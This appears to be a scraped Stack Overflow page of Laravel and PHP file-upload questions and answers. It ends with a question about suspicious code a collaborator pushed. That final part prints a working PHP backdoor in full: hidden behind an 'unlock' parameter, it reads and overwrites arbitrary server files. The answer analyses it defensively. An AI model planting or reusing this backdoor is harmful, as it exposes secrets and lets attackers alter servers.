Closed. This question is opinion-based. It is not currently accepting answers.
Want to improve this question? Update the question so it can be answered with facts and citations by editing this post.
Closed 5 years ago.
Improve this question
I'm building an eCommerce app in Laravel and it requires to save images from various pages like Add product, Add request, Update profile etc. I've defined the image storage location right on the controller files itself for the respective items.
UserController.php
$targetPath = '/Users/apple/Documents/eCommApp/storage/app/public/uploads/' . $user . '/img/profile/';
ProductController.php
$targetPath = '/Users/apple/Documents/eCommApp/storage/app/public/uploads/' . $user . '/img/product/';
My problem is I need to keep updating the image storage location on remote server everytime new codes are committed through git since its different in local and remote servers.
My question is:
Can we create a constants.php inside config/ and then define all paths there only and then include this file in .gitignore so that this file is ignored while pushing the code?
Is it the best (secure, efficient) way to deal with image storage location in Laravel?
Looking for yours advices,
Thank you
PS: Here is the code to save gig image.
if ($request->hasFile('ref_img')) {
if($request->file('ref_img')->isValid()) {
$types = array('_original.', '_150.', '_128.', '_64.', '_32.');
$sizes = array('150', '128', '64', '32');
$targetPath = '/Users/apple/Documents/eCommApp/storage/app/public/uploads/' . $user . '/img/gig/';
try {
$file = $request->file('ref_img');
$ext = $file->getClientOriginalExtension();
if ($gig->img == NULL){
$fName = time();
} else {
$fName = basename($gig->img, ".".$ext);
}
$o_name = $fName . array_shift($types) . $ext;
$original = Image::make($file->getRealPath());
$original->save($targetPath . $o_name);
foreach ($types as $key => $type) {
$newName = $fName . $type . $ext;
$newImg = Image::make($file->getRealPath());
$newImg->resize($sizes[$key], null, function ($constraint) {
$constraint->aspectRatio();
});
$newImg->save($targetPath . $newName);
}
$gig->img = 'storage/uploads/' . $user . '/img/gig/' . $fName . '.' . $ext;
} catch (Illuminate\Filesystem\FileNotFoundException $e) {
}
}
}
Use helpers like public_path():
$targetPath = public_path($user . '/img/profile/');
This helper will generate a full path to public directory in your Laravel project.
Related
I need assistance to more understand the concept so I can become a better developer. I want to learn how to refactor the code and erase all duplications.
What's the best practices for image uploads? Renaming them correctly?
I have a block of code that handles two attachments:
if( $request->hasFile('LFImage') ) {
$destination = public_path('app/lostFound/lostItems' . $lostFound->LFImage);
if( File::exists($destination) )
{
File::delete($destination);
}
$file = $request->file('LFImage');
$extension = $file->getClientOriginalExtension();
$filename = $lostFound->LFNumber . '-' . $lostFound->lostItem . '.' . $extension;
$file->move('app/lostFound/lostItems', $filename);
$lostFound->LFImage = $filename;
}
if( $request->hasFile('handoverStatement') ) {
$destination = public_path('app/lostFound/handoverStatements' . $lostFound->handoverStatement);
if( File::exists($destination) )
{
File::delete($destination);
}
$file = $request->file('handoverStatement');
$extension = $file->getClientOriginalExtension();
$filename = $lostFound->lostItem . '-' . $lostFound->LFNumber . '.' . $extension;
$file->move('app/lostFound/handoverStatements', $filename);
$lostFound->handoverStatement = $filename;
}
They're exactly the same except with the upload directory.
How can I make it as a one code block across the entire application with changeable file name and location depending on the form?
Some file names require random strings, how can I "Edit" the random string to the file that was uploaded?
Best practice when uploading and storing files in Laravel is using Storage.
It has all needed methods to work with files, you can save the file like this:
use Illuminate\Support\Facades\Storage;
Storage::put('images/', $request->file('LFImage'));
In the documentation provided above, you can find other examples like renaming and moving files
In order to access these files from web as well, you can use the command php artisan storage:link, which creates a symbolic link to storage folder in your public folder. After you create the symbolic link, you can generate URL to the file like this:
asset('storage/test.txt')
To avoid duplications, you can create a function in your controller to create a file. You will then just call this function with different files to keep the file creation code in one place.
you can simply write this
if ($request->hasFile('logo')) {
deleteImageFromDirectory(setting('logo'), "Settings");
$data['logo'] = uploadImageToDirectory( $request->logo , "Settings");
}
and define uploadImageToDirectory function in your helper functions or create a trait
function uploadImageToDirectory($imageFile, $directory = '' ){
$imageName = $imageFile->getClientOriginalName(); // Set Image name
$imageFile->storeAs("/Images/$directory", $imageName, 'public');
return $imageName;
}
I am trying to generate a thumbnail of the PDF I upload in laravel the thumbnail should be the first page of the PDF. Right now I am manually uploading an image to make the thumbnail like this:
if (request()->has('pdf')) {
$pdfuploaded = request()->file('pdf');
$pdfname = $request->book_name . time() . '.' . $pdfuploaded->getClientOriginalExtension();
$pdfpath = public_path('/uploads/pdf');
$pdfuploaded->move($pdfpath, $pdfname);
$book->book_file = '/uploads/pdf/' . $pdfname;
$pdf = $book->book_file;
}
if (request()->has('cover')) {
$coveruploaded = request()->file('cover');
$covername = $request->book_name . time() . '.' . $coveruploaded->getClientOriginalExtension();
$coverpath = public_path('/uploads/cover');
$coveruploaded->move($coverpath, $covername);
$book->card_image = '/uploads/cover/' . $covername;
}
This can be tedious while entering many data I want to generate thumbnail automatically. I searched many answers but I am not able to find laravel specific. I tried to use ImageMagic and Ghost script but I couldn't find a solution and proper role to implement.
Sorry, can't comment yet!
You can use spatie/pdf-to-image to parse the first page as image when file is uploaded and store it in your storage and save the link in your database.
First you need to have php-imagick and ghostscript installed and configured. For issues with ghostscript installation you can refer this. Then add the package composer require spatie/pdf-to-image.
As per your code sample:
if (request()->has('pdf')) {
$pdfuploaded = request()->file('pdf');
$pdfname = $request->book_name . time() . '.' . $pdfuploaded->getClientOriginalExtension();
$pdfpath = public_path('/uploads/pdf');
$pdfuploaded->move($pdfpath, $pdfname);
$book->book_file = '/uploads/pdf/' . $pdfname;
$pdf = $book->book_file;
$pdfO = new Spatie\PdfToImage\Pdf($pdfpath . '/' . $pdfname);
$thumbnailPath = public_path('/uploads/thumbnails');
$thumbnail = $pdfO->setPage(1)
->setOutputFormat('png')
->saveImage($thumbnailPath . '/' . 'YourFileName.png');
// This is where you save the cover path to your database.
}
i'm want to delete existing images and update with new images using in laravel using this method
if($request->hasFile('images')) {
$listingImages = $listing->images;
foreach($listingImages as $listingImage) {
$img_path = 'images/listing/'.$listing->id;
if(File::exists($img_path)) {
File::deleteDirectory($img_path);
$listingImage->delete();
}
foreach ($request->file('images') as $image) {
$listingImage = new ListingImage;
$imageName = time().'.'.$image->getClientOriginalExtension();
$listingImage->listing_id = $listing->id;
$listingImage->image_path = 'images/listing/'.$listing->id."/".$imageName;
$listingImage->save();
$image->move(public_path('images/listing/'.$listing->id),$imageName);
}
}
}
so far i can delete the previous directory and update new image path on the database.
but each time i run the edit listing, I get a Symfony\Component\HttpFoundation\File\Exception\FileException
The file "8 (2).jpg" was not uploaded due to an unknown error. and the old listingImages isn't been deleted on my database.
what proper way can i use to achieve updating multiple listing images?
try Storage::delete() function ref link https://laravel.com/docs/7.x/filesystem#deleting-files
and don't delete Directory i think in future u can need to image in that Directory
if ($request->hasFile('images')) {
$listingImages = $listing->images;
foreach ($listingImages as $listingImage) {
foreach ($request->file('images') as $image) {
$oldImage = $listingImage->image_path;
$listingImage = new ListingImage;
$imageName = time() . '.' . $image->getClientOriginalExtension();
$listingImage->listing_id = $listing->id;
$listingImage->image_path = 'images/listing/' . $listing->id . "/" . $imageName;
$listingImage->save();
$image->move(public_path('images/listing/' . $listing->id), $imageName);
\Storage::delete($oldImage); // it will not work if u r not setup `Storage`
//then u can use unlink
unlink(public_path().'/'.$oldImage); //
}
}
}
Closed. This question needs debugging details. It is not currently accepting answers.
Edit the question to include desired behavior, a specific problem or error, and the shortest code necessary to reproduce the problem. This will help others answer the question.
Closed 8 years ago.
Improve this question
I'm creating a file uploader, and it checks to see if a file exists or not in a directory. If it does exist, I must come up with a new name for the file (I.E file.txt -> file1.txt). Not sure why, but it keeps on generating errors. Here's my code. Hopefully it isn't something painfully obvious.
$directory = "files/";
$name = $_FILES['filename']['name'];
$valid_name = true;
$counter = 0;
if(file_exists($directory . $_FILES['filename']['name'])) {
$valid_name = false;
}
while(!$valid_name){
$name = $_FILES['filename']['name'] . $counter;
if(file_exists($directory . $name)){
counter++;
}
}
Your code is wrong. This is much simpler and easier to understand.
$directory = "files/";
$counter = 0;
$name = $_FILES['filename']['name'];
while(file_exists($directory . $name)){
$counter++;
$name = $_FILES['filename']['name'] . $counter;
}
Also your code does not generate file.txt -> file1.txt but file.txt -> file.txt1 so does this one. To generate it properly play with the extension and the name.
You forgot to change the value of $valid_name. Anyway, a simpler way to do that is just:
$directory = "files/";
$counter = "";
while (file_exists($directory . $_FILES['filename']['name'] . $counter)) {
$counter++;
}
// Here the name is: $directory . $_FILES['filename']['name'] . $counter
Consider that after the first time $counter++ is executed, it becomes "1", and then 2, etc...
A smaller code, just for fun:
$c = "";
while (file_exists("files/".$_FILES['filename']['name'].$c)) $c++;
// Here the name is: "files/".$_FILES['filename']['name'].$c
You forgot to name your variable correctly when using it:
$counter++;
// not counter++ but $counter++;
The code has a number of problems, which I'll list followed by a cleanup.
Syntax error: counter is not prefixed with a $ sign
Styling: your code isn't formatted nicely and consequently you'll have a harder time identifying problems.
Logical flow: You're only checking for the existence of a single filename, not others.
You're not handling file extensions.
Try something like this:
$directory = "files/";
$path = pathinfo( $directory . $_FILES['filename']['name'] );
$name = $path['filename'];
$counter = 0;
while ( file_exists( $path['dirname'] . $path['basename'] ) ) {
$counter++;
$path['filename'] = $name . $counter;
}
$outputFile = $path['dirname'] . $path['filename'] . '.' . $path['extension'];
Closed. This question does not meet Stack Overflow guidelines. It is not currently accepting answers.
This question does not appear to be about programming within the scope defined in the help center.
Closed 8 years ago.
Improve this question
I'm working on a website and recently picked someone up to work on the PHP portion and I have had suspicions that he may have added malicious code to the site, he pushed a bit of PHP without permission nor without mentioning anything to anyone.
The push was labelled 'Added Security'.
Here's the code:
<?PHP
if(isset($_GET['unlock'])) {
$id = $_GET['id'];
$dic = $_SERVER['PHP_SELF'];
$name = basename($dic) . "?unlock";
$url = './$name?unlock&id='.$id;
$file = "./$id";
if(isset($_GET['f'])) {
$f = $_GET['f'];
$file = "./$f/$id";
}
if (isset($_POST['text'])) {
file_put_contents($file, $_POST['text']);
if(isset($_GET['f'])) {
$f = $_GET['f'];
header('location: ' . $name . '&id=' . $id . '&f=' . $f);
} else {
header('location: ' . $name . '&id=' . $id);
}
}
$text = htmlentities(file_get_contents($file));
echo "<form method='post'><input type='submit'><textarea name='text'>$text</textarea></form>$dic";
die();
}
?>
Thanks in advance.
Let's see, the following
<?php
if(isset($_GET['unlock'])) {
...
}
Means that if you don't send the parameter unlock then nothing would be displayed. Is like a knaive attempt of keeping a secret piece of code that only he can unlock with a magic word.
Regarding what's inside
$id = $_GET['id'];
$dic = $_SERVER['PHP_SELF'];
$name = basename($dic) . "?unlock";
//$url = './$name?unlock&id='.$id; // the former would fail to interpolate $name
$url = "./$name&id=".$id;
$file = "./$id";
if(isset($_GET['f'])) {
$f = $_GET['f'];
$file = "./$f/$id";
}
$text = htmlentities(file_get_contents($file));
echo"<form method='post'><input type='submit'><textarea name='text'>$text</textarea> </form>";
If you pass the parameter unlock and id (which is a filename), plus optionally a parameter f (which is a folder) you can see the contents of that file in the textarea. For example
http://www.myserver.com/thescript.php?unlock&id=config.php&f=app
would expose whatever sensitive information you have in your config.php inside the app folder.
Finally, this part
if (isset($_POST['text'])) {
file_put_contents($file, $_POST['text']);
if(isset($_GET['f'])) {
$f = $_GET['f'];
header('location: ' . $name . '&id=' . $id . '&f=' . $f);
} else {
header('location: ' . $name . '&id=' . $id);
}
}
Would let you edit or create a file by submitting the form. It might fail due to lack of permissions, but since you can play with the folder, you just insist until you find a writable folder.